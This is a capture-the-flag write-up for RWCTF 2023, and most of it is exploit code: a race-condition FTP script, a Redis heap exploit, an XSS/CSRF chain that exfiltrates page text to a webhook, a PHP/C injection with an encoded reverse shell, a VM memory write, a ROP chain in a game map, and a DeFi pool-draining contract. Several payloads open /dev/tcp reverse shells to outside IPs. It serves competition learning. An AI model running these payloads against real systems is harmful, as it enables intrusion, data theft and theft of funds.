# RWCTF 2023
### chatUWU
### nonheavyftp
There is a race condition in the application.
When the other thread is wait for connection, we can change the path with the USER command.
```python!
from pwn import *
p = remote('47.89.253.219',2121);
p.send(b'USER anonymous\r\n')
p.recvline()
p.send(b'PASS df\r\n')
p.recvline()
p.send(b'EPSV\r\n')
p.recvline()
prt = int(p.recvline().split(b"|")[3])
#p.send(b'LIST\r\n')
p.send(b'RETR hello.txt\r\n')
print(p.recvline())
p.send(b'USER //flag.deb10154-8cb2-11ed-be49-0242ac110002\r\n')
print(p.recvline())
pp = remote('47.89.253.219',prt)
print(pp.recvall())
```
`rwctf{race-c0nd1tion-1s-real1y_ha4d_pr0blem!!!}`
### hardened redis
We basically used [this exploit](https://hackmd.io/@Xion/goq_22s_authors_writeup#J.-Trino:-Mirai). But we had to find a new gadget get get RCE since the one mentioned in the article was not working.
```
mov r8, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, r8; jmp rax;
```
```python
#!/usr/bin/env python3
import socket
import ctypes, struct
import os, time
class FakeRemote:
def __init__(self, host, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((host, port))
def send(self, data):
if isinstance(data, str):
data = data.encode('ascii')
self.s.send(data)
def recv(self, length):
data = b''
while len(data) < length:
recv = self.s.recv(length - len(data))
if not recv:
raise EOFError
data += recv
return data
def recvall(self):
data = b''
while True:
recv = self.s.recv(0x1000)
if not recv:
break
data += recv
return data
def recvuntil(self, until, drop=False):
data = b''
while not data.endswith(until):
recv = self.s.recv(1)
if not recv:
raise EOFError
data += recv
return data[:-len(until)] if drop else data
def info(self, s):
print(f'[*] {s}')
def success(self, s):
print(f'[+] {s}')
def close(self):
self.s.close()
def query(qs):
def _query(q):
if isinstance(q, str):
q = q.encode('ascii')
if isinstance(q, (list, tuple)):
p.send(f'*{len(q)}\r\n'.encode('ascii'))
for qe in q:
_query(qe)
else:
assert isinstance(q, (bytes, bytearray))
p.send(f'${len(q)}\r\n'.encode('ascii') + q + b'\r\n')
def _resp():
first = p.recv(1)
if first == b'+':
return p.recvuntil(b'\r\n', drop=True)
elif first == b'-':
err = p.recvuntil(b'\r\n', drop=True)
raise RuntimeError(f'Redis returned Error: {err}')
elif first == b':':
return int(p.recvuntil(b'\r\n', drop=True))
elif first == b'$':
length = int(p.recvuntil(b'\r\n', drop=True))
data = p.recv(length)
assert p.recv(2) == b'\r\n'
return data
else:
assert first == b'*'
length = int(p.recvuntil(b'\r\n', drop=True))
return [_resp() for _ in range(length)]
if isinstance(qs, str):
qs = qs.encode('ascii')
if isinstance(qs, (bytes, bytearray)):
p.send(qs + b'\r\n')
else:
_query(qs)
return _resp()
def query_addr(obj):
return int(query(f'''debug object {obj}''').split()[1][3:], 16)
def p64(v, endian='little'):
return struct.pack('<Q' if endian=='little' else '>Q', v)
def u64(v, endian='little'):
return struct.unpack('<Q' if endian=='little' else '>Q', v)[0]
time.sleep(0.5)
bash_cmd = f'ls > /dev/tcp/165.55.9.4/9000'
cmds = [
"echo '#!/bin/bash'>/tmp/a",
]
assert all(len(cmd) <= 0x1c for cmd in cmds)
cmds = [cmd.ljust(0x1c, '\0') for cmd in cmds]
import sys
p = FakeRemote('localhost', 6379)
assert query('''debug mallctl background_thread 0''') in (0, 1) # 1: first run, 0: following runs
for i in range(len(cmds)):
assert query(f'''setbit K{i} 400000 0''') == 0
prev = query('''debug mallctl arena.0.extent_hooks''')
print(hex(prev))
libcbase = prev - 0x71ca00
print(hex(libcbase))
systetm = libcbase + 0x50d60
print(hex(systetm))
gadget = libcbase + 0x90b95
print('gadget:',hex(gadget))
# 0x90b95
# mov r8, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, r8; jmp rax;
query(['set','A',' '*3000+'bash -c "/readflag > /dev/tcp/162.55.9.4/9000"'])
v = query_addr('A')-0x759ab
cmd_addrs = []
for i in range(len(cmds)):
for j in range(0x100):
assert query(['set', f'cmd{i}_{j}',
(p64(systetm)+p64(v)).ljust(0x1c, b'\0')
]) == b'OK'
assert query(['set', f'sys{i}_{j}',
p64(0)+p64(gadget)+p64(gadget)
]) # system@libc offset
cmd_addr, sys_addr = query_addr(f'cmd{i}_{j}'), query_addr(f'sys{i}_{j}')
if sys_addr == cmd_addr + 0x30:
break
else:
assert False
cmd_addrs.append(cmd_addr)
wow = cmd_addrs[0]+0x13
##########
# input()
query(f'''debug mallctl arena.0.extent_hooks {wow}''')
query('''memory purge'''+' '*100)
##########
exit(0)
assert query('flushall sync') == b'OK'
assert query('memory purge') == b'OK'
p.close()
```
### cult of 8 bit
- Trigger error in xml request
- Use cookieStore.delete as jsonp and a file with `_csrf` name
- logout the usrf with csrf
- login to an accout with a js payload in anchor tag
- trigger onclick of the malicous anchor tag with jsonp
-
```html=
<body>
<form method="POST" id=loginFrm action="/api/login">
<input type="text" value="lmao13371337" name="user" />
<input type="password" value="lmao13371337" name="pass" />
</form>
<div id="fs"></div>
<script>
async function delCookies(res){
for(let i=0;i<10;i++){
let f = document.createElement('frame')
f.src = delCookiePayload
fs.appendChild(f)
}
setTimeout(()=>{
fs.innerHTML = ''
res()
},2000)
}
let target = 'http://localhost:12345'
// let cookiePost = 'c09681e3-5ff0-4a42-af78-26bf721f4d03'
let cookiePost = 'e0f0c0ec-c1ff-4959-a6b8-00e91e31df16'
let delCookiePayload = `${target}/post/?id=${cookiePost}?callback=top.opener.opener.cookieStore.delete%26`+'@'.repeat(11500)
let doClick = `${target}/post/?id=${cookiePost}?callback=top.opener.lol.onfocus%26`+'@'.repeat(11500)
/* delete _csrf token */
/* logout */
/* open window */
/* delete _csrf token */
/* login with csrf */
let s = location.hash
if(s == ''){
window.open('#dd')
} else if (s == '#dd') {
window.open('#controller')
document.location = target
} else if (s == '#controller') {
window.open('#logout-delete-cookies')
} else if(s == '#logout-delete-cookies'){
new Promise(delCookies).then(_=>{
opener.open('#logout-do')
setTimeout(()=>window.close(),100)
})
} else if(s == '#logout-do'){
opener.open('#login-delete-cookies')
setTimeout(()=>document.location = target+'/api/logout',500)
} else if(s == '#login-delete-cookies'){
setTimeout(()=>{
new Promise(delCookies).then(_=>{
opener.open('#do-login')
setTimeout(()=>window.close(),100)
})
},500)
} else if(s == '#do-login'){
loginFrm.action = `${target}/api/login`
opener.open('#trigger')
loginFrm.submit()
} else if(s == '#trigger'){
setTimeout(()=>{
window.name = `
fetch("https://webhook.site/xx-db9e-4339-b23e-8109b285c8a9",{
method:"POST",
mode:"no-cors",
body:opener.opener.document.body.innerText
})
`
window.open('#trigger2')
document.location = target
},500)
} else if(s == '#trigger2'){
fetch('https://webhook.site/xx-db9e-4339-b23e-8109b285c8a9')
for(let i=0;i<50;i++){
let f = document.createElement('frame')
f.src = doClick
fs.appendChild(f)
}
}
</script>
<img src="https://httpstat.us/200?sleep=20000">
</body>
```
### astlibra
> Bypass addslashes with backslash
> The cblocks outside the class were not blocked ( i think author forgot? ). so get rce and then get the flag from mysql!
```
$url = 'http://aaa\\");}}%{
#define getThis getThis2
int getThis2(){
char cmd[] = {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32, 34, 47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 108, 32, 62, 32, 47, 100, 101, 118, 47, 116, 99, 112, 47, 49, 46, 49, 46, 49, 46, 49, 47, 57, 48, 48, 48, 32, 60, 38, 49, 32, 50, 62, 38, 49, 34, 32, 38, 0};
system(cmd);
}
}%
function dd(){while(1){var ch;//';
```
### tinyvm
- we can read write anywhere on the libc
- we overwrote libc got addresses randomly and one of them seemed usable
- calling printf triggers the jump to our overwritten got address. We saw that the $rdi register points to the stdout buffer address. so we just overwrote the stdout file structure `_IO_read_base`,`_IO_write_base`,`_IO_write_ptr` to an address that contains the `sh\x00` string.
```
start:
mov eax, [17332670]
mov edx, [17332671]
prn 1
mov [17332700],-72537468
mov edi, eax
add edi, 0x0170
mov [17332706],edi
mov [17332707],edx
mov edi, eax
add edi, 0x0170
mov [17332708],edi
mov [17332709],edx
mov edi, eax
add edi, 0x0170
mov [17332710],edi
mov [17332711],edx
mov [17332792],6845216
mov [17332793],6845216
#sub eax, 0x19a1e0
sub eax, 0x1c9a20
mov [17331212],eax
mov [17331213],edx
prn eax
```
### teewars
We saw that canaries were disabled in the dockerfile so we searched about stack-overflow bugs in github and found [this](https://github.com/teeworlds/teeworlds/issues/2981).
The given map worked on the challenge too. So we tried to see what's going on. The given map crashes the binary because of overwriting addresses outside the stack. Then we replaced all 0xffff inside the binary to something smaller and the the binary were not crashing anymore and it was jumping to a random address. We saw that the address was inside the file too so we overwrote some addresses until we figures out the correct offset. We overwrote the correct 8 byte ( return addr ) that was below the stack with 0xdddddddddddddddd and then wrote the rop chain with the following python script. we sent the output map file to the challenge client with `teeworlds_srv` and got the flag .
```python!
#!/usr/bin/env python3
from pwn import *
f = open('./cp.mp','rb').read()
z = f.index(p64(0xdddddddddddddddd))
c = p64(0x43647d)
c+= p64(0x553a80)#where
c+= p64(0x43faf0)
c+= p64(int.from_bytes(b'/bin/sh\x00',byteorder='little'))#what
c+= p64(0x4b6d09)
c+= p64(0)
toWrite = b'/bin/bash -l > /dev/tcp/x.x.x.x/9000 0<&1 2>&1'
for i in range(int(len(toWrite)/8)+1):
c+= p64(0x43647d)
c+= p64(0x553b80+i*8)#where
c+= p64(0x43faf0)
c+= p64(int.from_bytes(toWrite[i*8:(i*8)+8],byteorder='little'))#what
c+= p64(0x4b6d09)
c+= p64(0)
toWrite = b'-c'
for i in range(int(len(toWrite)/8)+1):
c+= p64(0x43647d)
c+= p64(0x553a00+i*8)#where
c+= p64(0x43faf0)
c+= p64(int.from_bytes(toWrite[i*8:(i*8)+8],byteorder='little'))#what
c+= p64(0x4b6d09)
c+= p64(0)
toWrite = b'/bin/bash\x00'
for i in range(int(len(toWrite)/8)+1):
c+= p64(0x43647d)
c+= p64(0x553a40+i*8)#where
c+= p64(0x43faf0)
c+= p64(int.from_bytes(toWrite[i*8:(i*8)+8],byteorder='little'))#what
c+= p64(0x4b6d09)
c+= p64(0)
c+= p64(0x43647d)
c+= p64(0x553c80)#where
c+= p64(0x43faf0)
c+= p64(0x553a40)#what
c+= p64(0x4b6d09)
c+= p64(0)
c+= p64(0x43647d)
c+= p64(0x553c80+8)#where
c+= p64(0x43faf0)
c+= p64(0x553a00)#what
c+= p64(0x4b6d09)
c+= p64(0)
c+= p64(0x43647d)
c+= p64(0x553c80+16)#where
c+= p64(0x43faf0)
c+= p64(0x553b80)#what
c+= p64(0x4b6d09)
c+= p64(0)
c+= p64(0x43647d)
c+= p64(0x553c80+16+8)#where
c+= p64(0x43faf0)
c+= p64(0)#what
c+= p64(0x4b6d09)
c+= p64(0)
c+= p64(0x4326e3)
c+= p64(0x553a40)#rdi
c+= p64(0x437fcb)
c+= p64(0x553c80)#rsi
c+= p64(0x4bc1d4)
c+= p64(0)
c+= p64(0x43faf0)
c+= p64(59)
c+= p64(0x465f30)
f = f[:z]+c+f[z+len(c):]
print(z)
open('./14.map','wb').write(f)
# 0x465f30: syscall;
# 0x4326e3: pop rdi; ret;
# 0x43faf0: pop rax; ret;
# 0x437fcb: pop rsi; ret;
# 0x4bc1d4: pop rdx; ret;
# 0x4b6d09: mov qword ptr [rbx], rax; pop rbx; ret;
# 0x43647d: pop rbx; ret;
# write: 0x00000000553a80
```
### okproof
This challenge is very straightforward - it's easy to see that
pi_H <- G1
pi_C <- (t-1)(t-2)(t-3)(t-4) G1
pi_Ca <- a * (t-1)(t-2)(t-3)(t-4) G1
works, and they can be constructed easily from the given data.
```python!
from pwn import *
from sage.all import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
conn = remote("47.254.47.63", 13337)
# conn.interactive()
p = 21888242871839275222246405745257275088696311157297823662689037894645226208583
E = EllipticCurve(GF(p), [0, 3])
G1 = E(1, 2)
conn.recvlines(3)
cc = conn.recvline()
tt = eval(cc)
tp = []
tap = []
for i in range(7):
tp.append(E(tt[0][i][0], tt[0][i][1]))
tap.append(E(tt[1][i][0], tt[1][i][1]))
pi_H = G1
pi_C = 24 * tp[0] - 50 * tp[1] + 35 * tp[2] - 10 * tp[3] + tp[4]
pi_Ca = 24 * tap[0] - 50 * tap[1] + 35 * tap[2] - 10 * tap[3] + tap[4]
ret = ""
ret += str(pi_C.xy()[0]) + " "
ret += str(pi_C.xy()[1]) + " "
ret += str(pi_Ca.xy()[0]) + " "
ret += str(pi_Ca.xy()[1]) + " "
ret += str(pi_H.xy()[0]) + " "
ret += str(pi_H.xy()[1])
print(ret)
conn.recvline()
# conn.interactive()
conn.sendline(ret.encode())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
```
### realwrap
This is a bug similar to those moonbeam bugs found recently. The added precompiled contracts doesn't care whether the execution was done via delegatecall. Therefore, on the UniswapV2's flashswap callback, we can call the WETH precompile via delegatecall. This forces Uniswap to approve WETH or call a contract, i.e. approve a token. After that, we simply drain the pool via transferFrom(), then Sync(), finishing the challenge.
```javascript
async function fun() {
console.log(await provider.getNetwork());
stnonce = await provider.getTransactionCount(myAddress);
console.log("stnonce:", stnonce);
await deployingETHStealer();
await ERC20Transfer(WETH, pair, BigNumber.from(2000));
await Swap(BigNumber.from(0), BigNumber.from(1), STEALER);
console.log(await WETHContract.allowance(pair, myAddress));
console.log(await TOKENContract.allowance(pair, myAddress));
let bal1 = await WETHContract.balanceOf(pair);
let bal2 = await TOKENContract.balanceOf(pair);
console.log(bal1);
console.log(bal2);
await ERC20TransferFrom(WETH, pair, myAddress, bal1);
await ERC20TransferFrom(TOKEN, pair, myAddress, bal2);
await Sync();
console.log(await pairContract.getReserves());
}
```
```solidity
contract ETHStealer {
address public constant WETH = 0x0000000000000000000000000000000000004eA1;
address public constant TOKEN = 0x0C4C77B93E2F3c79b2447339AA09D3f03292A80a;
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
address(WETH).delegatecall(abi.encodeWithSelector(IERC20.approve.selector, sender, type(uint256).max));
bytes memory caller = abi.encodeWithSelector(IERC20.approve.selector, sender, type(uint256).max);
address(WETH).delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", TOKEN, 0, caller));
}
}
```